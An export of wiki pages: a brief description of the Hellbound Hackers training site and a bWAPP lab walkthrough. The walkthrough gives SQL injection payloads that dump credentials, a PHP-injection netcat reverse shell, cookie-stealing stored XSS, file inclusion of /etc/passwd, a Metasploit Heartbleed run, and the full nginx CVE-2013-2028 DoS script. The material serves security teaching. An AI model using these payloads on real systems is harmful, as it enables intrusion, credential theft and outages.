HBH - Hellbound Hackers

2024-12-18T19:51:23Z

SWeisser: Created page with "== Introduction == Hellbound Hackers is a web application that offers many services in the field of hacking. It was founded in 2003 to show interested parties how the technical background works and how hackers operate. It is now a non-profit organisation that provides users with over 150 simulated tasks. These are VM-based tasks that simulate real systems and vulnerabilities. Behind the application are 3 British (rex-mundi, maagnet, Mordak) and one American developer (..."

== Introduction ==

Hellbound Hackers is a web application that offers many services in the field of hacking. It was founded in 2003 to show interested parties how the technical background works and how hackers operate. It is now a non-profit organisation that provides users with over 150 simulated tasks. These are VM-based tasks that simulate real systems and vulnerabilities. Behind the application are 3 British (rex-mundi, maagnet, Mordak) and one American developer (elmiguel).

<li style="display: inline-block;"> [[File:HBH_home.png|thumb|none|500px|The homepage of HBH, https://hbh.sh/home]] </li>

== Content to Offer ==

<li> A blog about what is going on with the website. </li>
<li> A collection of relevant articles. </li>
<li> A forum for user interaction. </li>
<li> A code collection of different programming languages. </li>
<li> News of new technologies. </li>
<li> Many challenges for learning purposes. </li>
<li> A hall of fame. </li>
<br>

<b> Challenges: </b> <br>
The developers initially offer four prerequisite tasks designed to help beginners get started. These tasks—focused on "Application Cracking," "JavaScript Hacking," "Penetration Testing," and "Basic Web Hacking"—introduce fundamental security approaches for established technologies, with a strong technical emphasis. Challenges in "Rooting," "Application Patching," and "PHP Patching" target tools that support the foundation of these established systems. To develop skills beyond hacking, the platform also provides challenges in steganography, decryption, and logical reasoning. Tasks in "Reverse Engineering" and "Tracking" aim to build investigative skills for countering hacker attacks. Additionally, there are challenges related to "Social Engineering.”

== References ==

* https://hbh.sh/home
*

[[Category:Documentation]]

BWAPP

2024-12-18T18:52:22Z

SWeisser:

bWAPP is the abbreviation for "buggy web application" and it's a deliberately insecure web application [[https://wiki.elvis.science/index.php?title=Unsecure_Webservices:_bWAPP_vs._JuiceShop]] which is freely accessible to everyone. bWAPP belongs to the ITSEC GamesProject and was designed by Malik Mesellem. Security enthusiasts such as developers and students can discover the various web vulnerabilities and try to simulate vulnerabilities. In addition to the ethical hacking training, bWAPP has a gaming character and should serve as a funny training enviroment. bWAPP is extremely diverse because it contains the most well-known web vulnerabilities and even includes all risks of the OWASP Top 10 Project. The application also offers three security levels (low/medium/high), where the user is perfectly prepared for penetration tests and hacking projects. Further information and assistance can be found on the ITSEC GamesProject website. [[http://www.itsecgames.com/]]

== Architecture ==

bWAPP is a free PHP application that uses a MySQL database. The web service is provided by Linux or Windows with Apache or IIS. It's also supported by WAMP and XAMPP to use a local webserver.</br>
[[File:BWAPP architectur.PNG||200px|center]]</br>
You can also download bee-box, this is a virtual machine with bWAPP included.[https://sourceforge.net/projects/bwapp/files/bee-box Install bee-box]
[[File:BWAPP1Start.PNG|300px|center]]

== Installation ==

For a successful installation, follow these steps:
* On the official homepage of ITSEC Games-Project [http://www.itsecgames.com/] you can download bWAPP. Extract the ZIP file to any path.</br>
[[File:OfficialWebsite bWAPP.png|500px|center]]
*The password is deleted from the PHP file “setting.php”</br>
[[File:BWAPP PHPfile with password.png|left]]
[[File:BWAPP PHPfile without password.png|right]]</br>
*Then the name of the folder is changed to “bwapp” and the /xampp/htdocs path copied from XAMPP. Here Apache and MySQL must be activated on the XAMPP Control Panel</br>
*Open “localhost / bwapp / install.php” via the browser and then click on "here". If the installation was successful, this will also be communicated with a short message.</br>
*Now bWAPP has been successfully installed. Enter /localhost/bwapp/ in any browser and a login form appears.
**Username is “bee”
**Password is “bug”.
*User is logged in now and can play around with the application.
[[File:BWAPP installed and ready to use.png|500px|center]]

== SQL injection ==

For a practical demonstration of bWAPP the SQL injection is elected. There are possible security lacks in a SQL database where an attacker can inject the database queries to obtain their desired result.</br>
*If the correct challenge (SQL injection (GET / SEARCH)) on the website has been selected, a new page opens with a search window and an empty table.</br>
[[File:BWAPP SQLInjection.PNG|500px|center]]</br>
*By entering any terms into the search field (e.g. "man"), it's possible to search for any entry in the database. If you select with an empty search field, all entries are displayed.
[[File:BWAPP withsearch.PNG|500px|center]]
[[File:BWAPP nosearch.PNG|500px|center]]</br>
*But if you enter an apostrophe as a search term, this leads to a syntax error, and you get an error message return, so you recognize that the parameters of the URL are susceptible to a SQL injection.
[[File:BWAPP error.PNG|500px|center]]</br>
*Now it is known that the URL can be edited. By incrementing the number, we can consider that there exist only seven columns.</br>
**''localhost / bwapp / sqli_1.php? title = 1 ’order by 1- - -''</br>
**''localhost / bwapp / sqli_1.php? title = 1 ’order by 8- - - (out of clausle)''</br>
*It is necessary to know how many columns you have, because in order to display confidential information you have to use an union statement, so that you merge the tables and for this you need the number of columns.</br>
**''localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4,5,6,7, - - -''</br>
*By visualizing the columns, you can get the information such as the name or/and the version of the database</br>
**''localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, database (), 6,7, - - -'' </br>
**''localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, version (), 6,7, - - -''</br>
*By further visualizing you get more information about the database and the associated content. In this example an attempt is made to display the password. This can be reached by outputting the characters of the tables and further linking the table names. Until you get the column ‘User’ where the password is saved hopefully.</br>
**''localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, table_name, 6,7 from information_schema.tables- - -''</br>
**''localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, table_name, 6,7 from information_schema.tables where table_schema = database () - - -''</br>
**''localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, group_concat (table_name), 6,7 from information_schema.tables where table_schema = database () - - -''</br>
**''localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, group_concat (colume_name), 6,7 from information_schema.tables where table_schema =’ users’- - -''</br>
**''localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, group_concat (login, password), 6,7, from users- - -''</br>
*Unfortunately, you can only see the hashed password. But you can crack the hashed password in another step using password cracker software such as John the Ripper.
[[File:BWAPP hash.PNG|500px|center]]
[[File:Challenge1.9bWAPP.png|700px]]

== HTML injection ==
HTML injection is a technique used to take advantage of non-validated input to modify a web page presented by a web application to its users <ref>Imperva, ''HTML Injection'', accessed on: 26.01.2022. [Online]. Available: https://www.imperva.com/learn/application-security/html-injection/</ref>. To prevent it, user input must be sanitized. Let's look at it in the bWAPP. We have different security levels here, and depending on the security level, the injection gets easier/harder. This is because different input sanitization is applied. Let's first have a look at bWAPP's [https://github.com/theand-fork/bwapp-code source code] <ref>bWAPP Github, ''htmli_get.php'',accessed on: 26.01.2022. [Online]. Available: https://github.com/theand-fork/bwapp-code/blob/master/bWAPP/htmli_get.php</ref>

switch($_COOKIE["security_level"])
{
case "0" :
//LOW
$data = no_check($data);
break;

case "1" :

$data = xss_check_1($data);
break;

case "2" :

$data = xss_check_3($data);
break;

default :

$data = no_check($data);
break;
}
<b>Low security level</b><br>
function no_check($data)
{
return $data;
}
There is no input sanitization at all - whatever the user enters in accepted. When we choose the <b>HTML injection - Reflected (GET)</b> exploit in the bWAPP, and insert a vulnerable string with bold HTML tags, we get the following result:
<div><ul>
<li style="display: inline-block;"> [[File:Bwapp1.png|thumb|none|500px|Output can be seen below the input fields as "hello <b>world</b>"]] </li>
</ul></div>
<b>Medium security level</b><br>
function xss_check_1($data)
{

// Converts only "<" and ">" to HTLM entities
$input = str_replace("<", "<", $data);
$input = str_replace(">", ">", $input);

// Failure is an option
// Bypasses double encoding attacks
// <script>alert(0)</script>
// %3Cscript%3Ealert%280%29%3C%2Fscript%3E
// %253Cscript%253Ealert%25280%2529%253C%252Fscript%253E
$input = urldecode($input);

return $input;

}
There is some input sanitization - the tags will be converted to HTML entities. Now when we enter the same string as before, we get the following result:
<div><ul>
<li style="display: inline-block;"> [[File:Bwapp2.png|thumb|none|500px]] </li>
</ul></div>
To bypass this, we need to URL encode the input directly, so that we don't pass the HTML tags directly. The URL encoding of <b>world</b> is %3Cb%3Eworld%3C%2Fb%3E , which we now enter to the input field, resulting in the following output:
<div><ul>
<li style="display: inline-block;"> [[File:Bwapp3.png|thumb|none|500px| Result of medium security level, entering URL encoded <b>world</b>]] </li>
</ul></div>

<b>High security level</b><br>
This utilizes the following method for input sanitization:
function xss_check_3($data, $encoding = "UTF-8")
{
// htmlspecialchars - converts special characters to HTML entities
// '&' (ampersand) becomes '&'
// '"' (double quote) becomes '"' when ENT_NOQUOTES is not set
// "'" (single quote) becomes ''' (or ') only when ENT_QUOTES is set
// '<' (less than) becomes '<'
// '>' (greater than) becomes '>'

return htmlspecialchars($data, ENT_QUOTES, $encoding);
}

Now it is very well protected. However, if we could somehow change the browser setting from UTF-8 encoding to UTF-7 this might work. ‘<’, ‘>’, ‘”’ have different code points than UTF-8 so they are not escaped unless convert the output to UTF-8.

== PHP injection ==
In the URL we can see in which format the message gets sent to the backend. We can now try to insert some commands to extract information from the web application.
<div><ul>
<li style="display: inline-block;"> [[File:Bwapp4.png|thumb|none|450px|phpinfo()]] </li>
<li style="display: inline-block;"> [[File:Bwapp5.png|thumb|none|500px|inject command "ls"]] </li>
</ul></div>
We will try to create a reverse shell in this way:
* create a listener on a machine 192.168.0.102 on a port (we chose 4444)
nc -lvp 4444
* inject the reverse shell in the bWAPP
message=system('nc 192.168.0.102 4444 -e /bin/bash')
<div><ul>
<li style="display: inline-block;"> [[File:Bwapp6.png|thumb|none|400px|checking in the reverse shell if we are really inside the bWAPP]] </li>
</ul></div>

== Cross-Site Scripting (XSS) ==
XSS attacks enable attackers to inject client-side scripts into web pages viewed by other users. The bWAPP offers many attack vectors for this vulnerability:
[[File:Bwapp7.png|thumb|none|300px]]
<b>XSS Reflected (GET) </b><br>
Let's look at a simple JavaScript insertion, while in low security level.
<div><ul>
<li style="display: inline-block;"> [[File:Bwapp8.png|thumb|none|500px|Inserting JavaScript code <b><script>alert('Success')</script></b>]] </li>
</ul></div>
In medium security level this doesn't work, as there is input sanitization involved:
switch($_COOKIE["security_level"])
{
case "0" :

$data = no_check($data);
break;

case "1" :

$data = xss_check_4($data);
break;

case "2" :

$data = xss_check_3($data);
break;

default :

$data = no_check($data);
break;
}

function xss_check_4($data)
{
// addslashes - returns a string with backslashes before characters that need to be quoted in database queries etc.
// These characters are single quote ('), double quote ("), backslash (\) and NUL (the NULL byte).
// Do NOT use this for XSS or HTML validations!!!

return addslashes($data);
}

<b>XSS Stored (Blog) </b><br>
The picture below displays a stored XSS attack using a blog post.

[[File:StoredXSSAtt.png|Example for stored XSS using a blog post]]

In the first part of the picture shows a regular blog of the BWAPP exercise "stored XSS (Blog)". Here a user can create a comment and after publishing any user who visits the page is able to see the published blog post. In this case a user has published a malicious blog post that is executed by every browser displaying this post. The post of this user consists of A regular commentary on the blog and a script. This script is responsible for creating variable to which an image element is assigned. This variable is than used to send the current browser cookie to the specified address. Since the the code is surrounded by the script tags it is never displayed to the user once published as seen below the code. The blog entry number 10 shows how this blog entry is displayed to every user visiting this page. As one can see there is now way one can tell that malicious code has been injected. In this case the blog and the attacker are in the same network, once someone views this entry the browser interprets and executes the script and sends the browser cookies of the current user to the attacker. The last part of the picture one sees the terminal of the attacker with netcat listening on port 9000 once the published entry of the attacker is viewed by someone this is what the attacker gets send. As one can see there is multiple information about the victim is displayed along this information is also the browser cookie which can have further used to the attacker. E.g. the attacker can impersonate the victim and let a web service believe they are the user they stole this information from. Most XSS attacks can be mitigated using proper input sanitization. E.g. a whitelist or blacklist can be created preventing the input of invalid input such as the script tag or greater/less than symbols which can be used for escaping tags and force script execution. Another option for mitigation is encoding where certain symbols considered enabling for script execution are encoded in a way they are safe to use as a user input.

== Heartbleed ==
We choose the Heartbleed Vulnerability with low security level and get the information to log on port 8443. This exploit will be performed via a second machine, a Kali Linux VM in the same network. Please refer to the [[Heartbleed]] wiki for more information about this vulnerability. The following commands are necessary:
* Open Metasploit
msfconsole
* Search for heartbleed
msf6 > search heartbleed

Matching Modules
================

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/server/openssl_heartbeat_client_memory 2014-04-07 normal No OpenSSL Heartbeat (Heartbleed) Client Memory Exposure
1 auxiliary/scanner/ssl/openssl_heartbleed 2014-04-07 normal Yes OpenSSL Heartbeat (Heartbleed) Information Leak

Interact with a module by name or index. For example info 1, use 1 or use auxiliary/scanner/ssl/openssl_heartbleed
* Use option 1, set host to the IP address of bWAPP and the port to 8443, afterwards exploit
msf6 > use 1
msf6 auxiliary(scanner/ssl/openssl_heartbleed) > set RHOSTS 192.168.0.157
RHOSTS => 192.168.0.157
msf6 auxiliary(scanner/ssl/openssl_heartbleed) > set RPORT 8443
RPORT => 8443
msf6 auxiliary(scanner/ssl/openssl_heartbleed) > set verbose true
verbose => true
msf6 auxiliary(scanner/ssl/openssl_heartbleed) > exploit
* This reveals the following output:
[*] 192.168.0.157:8443 - Leaking heartbeat response #1
[*] 192.168.0.157:8443 - Sending Client Hello...
[*] 192.168.0.157:8443 - SSL record #1:
[*] 192.168.0.157:8443 - Type: 22
[*] 192.168.0.157:8443 - Version: 0x0301
[*] 192.168.0.157:8443 - Length: 86
[*] 192.168.0.157:8443 - Handshake #1:
[*] 192.168.0.157:8443 - Length: 82
[*] 192.168.0.157:8443 - Type: Server Hello (2)
[*] 192.168.0.157:8443 - Server Hello Version: 0x0301
[*] 192.168.0.157:8443 - Server Hello random data: 61f1acf3bd02d1cdfa08f8ee5ca2066b32c1debd9db45f75ff3cdeb42a62046d
[*] 192.168.0.157:8443 - Server Hello Session ID length: 32
[*] 192.168.0.157:8443 - Server Hello Session ID: 9029cb68a0f14cb4a65c6b9332145b69916c45d85d0e920f4b9de276b2f6d585
[*] 192.168.0.157:8443 - SSL record #2:
[*] 192.168.0.157:8443 - Type: 22
[*] 192.168.0.157:8443 - Version: 0x0301
[*] 192.168.0.157:8443 - Length: 675
[*] 192.168.0.157:8443 - Handshake #1:
[*] 192.168.0.157:8443 - Length: 671
[*] 192.168.0.157:8443 - Type: Certificate Data (11)
[*] 192.168.0.157:8443 - Certificates length: 668
[*] 192.168.0.157:8443 - Data length: 671
[*] 192.168.0.157:8443 - Certificate #1:
[*] 192.168.0.157:8443 - Certificate #1: Length: 665
[*] 192.168.0.157:8443 - Certificate #1: #<OpenSSL::X509::Certificate: subject=#<OpenSSL::X509::Name emailAddress=bwapp@itsecgames.com,CN=bee- box.bwapp.local,OU=IT,O=MME,L=Menen,ST=Flanders,C=BE>, issuer=#<OpenSSL::X509::Name emailAddress=bwapp@itsecgames.com,CN=bee-box.bwapp.local,OU=IT,O=MME,L=Menen,ST=Flanders,C=BE>, serial=#<OpenSSL::BN:0x00007f9ea8a4edd8>, not_before=2013-04-14 18:11:32 UTC, not_after=2018-04-13 18:11:32 UTC>
[*] 192.168.0.157:8443 - SSL record #3:
[*] 192.168.0.157:8443 - Type: 22
[*] 192.168.0.157:8443 - Version: 0x0301
[*] 192.168.0.157:8443 - Length: 203
[*] 192.168.0.157:8443 - Handshake #1:
[*] 192.168.0.157:8443 - Length: 199
[*] 192.168.0.157:8443 - Type: Server Key Exchange (12)
[*] 192.168.0.157:8443 - SSL record #4:
[*] 192.168.0.157:8443 - Type: 22
[*] 192.168.0.157:8443 - Version: 0x0301
[*] 192.168.0.157:8443 - Length: 4
[*] 192.168.0.157:8443 - Handshake #1:
[*] 192.168.0.157:8443 - Length: 0
[*] 192.168.0.157:8443 - Type: Server Hello Done (14)
[*] 192.168.0.157:8443 - Sending Heartbeat...
[*] 192.168.0.157:8443 - Heartbeat response, 13027 bytes
[+] 192.168.0.157:8443 - Heartbeat response with leak, 13027 bytes
[*] 192.168.0.157:8443 - <b>Printable info leaked:
......a......`.\*..W....D2..c....C......f.....".!.9.8.........5.............................3.2.....E.D...../...A........
.....................................4.2...................................................#..............................
....................................................................................................... repeated 12548 times
.....................................................................................................................................</b>
[*] 192.168.0.157:8443 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

== Remote & Local File Inclusion (RFI/LFI) ==
This page contains a prompt to select a language, where the user can choose between English, French and Dutch. The chosen parameter then gets passed in the URL like this:
http://localhost/bWAPP/rlfi.php?language=lang_en&action=go
Into the "language" attribute, we can now try inserting a path to a file we would like to extract. For example <b>/etc/passwd</b>. Each security level again offers different options, as are specified in the code snippet below:
$language = "";

if(isset($_GET["language"]))
{
switch($_COOKIE["security_level"])
{
case "0" :
$language = $_GET["language"];
break;

case "1" :
$language = $_GET["language"] . ".php";
break;

case "2" :
$available_languages = array("lang_en.php", "lang_fr.php", "lang_nl.php");
$language = $_GET["language"] . ".php";
// $language = rlfi_check_1($language);
break;

default :
$language = $_GET["language"];
break;
}
}

<b>Low security level</b><br>
<div><ul>
<li style="display: inline-block;"> [[File:Bwapp9.png|thumb|none|500px|inserting a path to the <b>passwd</b> file]] </li>
</ul></div>
<div style="border: 1px solid #eeb553; background-color: #f8e2bc; color: #c17c04; padding: 5px 10px; margin-bottom: 5px; text-align: justify">In the lowest security level, the user input is passed with no sanitization to the backend, allowing the insertion of a file path.</div>
<br><b>Medium security level</b><br>
<div><ul>
<li style="display: inline-block;"> [[File:Bwapp10.png|thumb|none|500px|inserting a path to the <b>passwd</b> file in medium security level]] </li>
</ul></div>
<div style="border: 1px solid #eeb553; background-color: #f8e2bc; color: #c17c04; padding: 5px 10px; margin-bottom: 5px; text-align: justify">The medium security level specifies, that the user input is concatenated with ".php" so that only actual PHP files are searched for. This is because the language files in question are <i>"lang_en.php", "lang_fr.php", "lang_nl.php"</i>.</div>
<br><b>High security level</b><br>
<div><ul>
<li style="display: inline-block;"> [[File:Bwapp11.png|thumb|none|500px|inserting a path to the <b>passwd</b> file in highest security level - <b>NO BREACH</b>]] </li>
</ul></div>
<div style="border: 1px solid #eeb553; background-color: #f8e2bc; color: #c17c04; padding: 5px 10px; margin-bottom: 5px; text-align: justify">The highest security level specifies an array of allowed files, and the input must be one of them. If it is not, nothing is returned. The files in question are <i>"lang_en.php", "lang_fr.php", "lang_nl.php"</i>.</div>

== DoS-Attack (Large Chunk Size) ==

The DoS-Attack with a large chunk size is a application layer attack. The website offers to download a python script, which can be run by additionally entering the targets IP-address and port number.
<li style="display: inline-block;"> [[File:bWAPP_DoS_Large_Chunk_Size.jpg|thumb|none|500px|if you click on <b> here </b> the python file will be downloading]] </li>

The script sends a request to the web-server with a huge chunk size for the server to breaking down. This causes the server to shut down while processing it.

# Exploit Title: nginx v1.3.9-1.4.0 DOS POC (CVE-2013-2028)
# Date: 16.05.2013
# Exploit Author: Mert SARICA - mert [ . ] sarica [ @ ] gmail [ . ] com - http://www.mertsarica.com
# Minor customizations by Malik Mesellem (@MME_IT)
# Vendor Homepage: http://nginx.org/
# Software Link: http://nginx.org/download/nginx-1.4.0.tar.gz
# Version: 1.3.9-1.4.0
# Tested on: Kali Linux & Windows XP (nginx v1.4.0)
# CVE : CVE-2013-2028
import httplib
import time
import socket
import sys
import os
# Vars & Defs
debug = 0
dos_packet = 0xFFFFFFFFFFFFFFEC
socket.setdefaulttimeout(1)
packet = 0
def chunk(data, chunk_size):
chunked = ""
chunked += "%s\r\n" % (chunk_size)
chunked += "%s\r\n" % (data)
chunked += "0\r\n\r\n"
return chunked
if sys.platform == 'linux-i386' or sys.platform == 'linux2':
os.system("clear")
elif sys.platform == 'win32':
os.system("cls")
else:
os.system("cls")
print "======================================================================"
print u"nginx v1.3.9-1.4.0 DOS POC (CVE-2013-2028) [http://www.mertsarica.com]"
print "======================================================================"
if len(sys.argv) < 2:
print "Usage: python nginx_dos.py [target ip:port]\n"
print "Example: python nginx_dos.py 127.0.0.1:8080\n"
sys.exit(1)
else:
host = sys.argv[1].lower()
while packet <= 66:
body = "beezzzzzzzzzz"
chunk_size = hex(dos_packet + 1)[3:]
chunk_size = ("F" + chunk_size[:len(chunk_size)-1]).upper()
if debug:
print "data length:", len(body), "chunk size:", chunk_size[:len(chunk_size)]
try:
con = httplib.HTTPConnection(host)
url = "/bWAPP/portal.php"
con.putrequest('POST', url)
con.putheader('User-Agent', 'bWAPP')
con.putheader('Accept', '*/*')
con.putheader('Transfer-Encoding', 'chunked')
con.putheader('Content-Type', 'application/x-www-form-urlencoded')
con.endheaders()
con.send(chunk(body, chunk_size[:len(chunk_size)]))
except:
print "Connection error!"
sys.exit(1)
try:
resp = con.getresponse()
print(resp.status, resp.reason)
except:
print "[*] Knock knock, is anybody there ? (" + str(packet) + "/66)"
packet = packet + 1
con.close()
print "[+] Done!"

The exploit relies on the HTTP-protocol version 1.1, to not recognize the transformed packet. The different difficulties do not apply to this challenge, because there is only one script provided.

== References ==
<references />

[[Category:Documentation]]

Elvis Wiki - User contributions [en]

HBH - Hellbound Hackers

File:HBH home.png

BWAPP

File:BWAPP DoS Large Chunk Size.jpg